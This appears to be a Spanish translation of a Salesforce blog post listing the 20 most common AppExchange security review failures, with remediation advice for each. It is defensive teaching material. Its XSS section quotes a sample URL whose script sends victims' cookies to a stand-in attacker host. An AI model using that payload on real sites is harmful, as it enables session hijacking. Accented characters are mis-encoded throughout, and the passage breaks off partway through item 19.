Skip to content

Etiqueta: control de versiones

Presentaci贸n del control de versiones de API a nivel de componente de LWC 鈽侊笍

Presentaci贸n del control de versiones de API a nivel de componente de LWC 鈽侊笍

El versionado de la API de LWC es una excelente forma de garantizar la compatibilidad con versiones anteriores de los componentes existentes y, al mismo tiempo, permitir que los nuevos componentes adopten las nuevas caracter铆sticas.

The post Presentaci贸n del control de versiones de API a nivel de componente para LWC appeared first on Blog de desarrolladores de Salesforce.

Blog de desarrolladores de Salesforce

Seguir leyendo

Lista de comprobaci贸n de implementaci贸n de Salesforce: De la puesta en marcha a la adopci贸n

Las implementaciones de Salesforce, tambi茅n conocidas como ‘releases’, son uno de los mayores retos para los administradores, consultores y aquellos que trabajan en otras muchas funciones. A medida que las organizaciones de Salesforce se vuelven cada vez m谩s complejas, los cambios suelen tener muchas partes 芦m贸viles禄 que pueden tener repercusiones de gran alcance en la organizaci贸n de Salesforce. Una vez que est茅 satisfecho con la soluci贸n que ha construido (en un sandbox) […]

The post Lista de comprobaci贸n de la implementaci贸n de Salesforce: De la puesta en marcha a la adopci贸n appeared first on Salesforce Ben.

Seguir leyendo

Gu铆a completa de documentaci贸n de Salesforce (en un mundo de inteligencia artificial)

La plataforma Salesforce es muy potente. Con cada nueva versi贸n, su org se vuelve m谩s potente, pero tambi茅n m谩s compleja. Como le dijeron una vez a Spiderman: 芦un gran poder conlleva una gran responsabilidad禄. Entonces, 驴c贸mo puede asumir la responsabilidad real de mantener su organizaci贸n? Con todo lo dem谩s que tiene que hacer, documentar sus cambios es probablemente bajo en […]

El post Gu铆a completa para la documentaci贸n de Salesforce (en un mundo de IA) appeared first on Salesforce Ben.

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

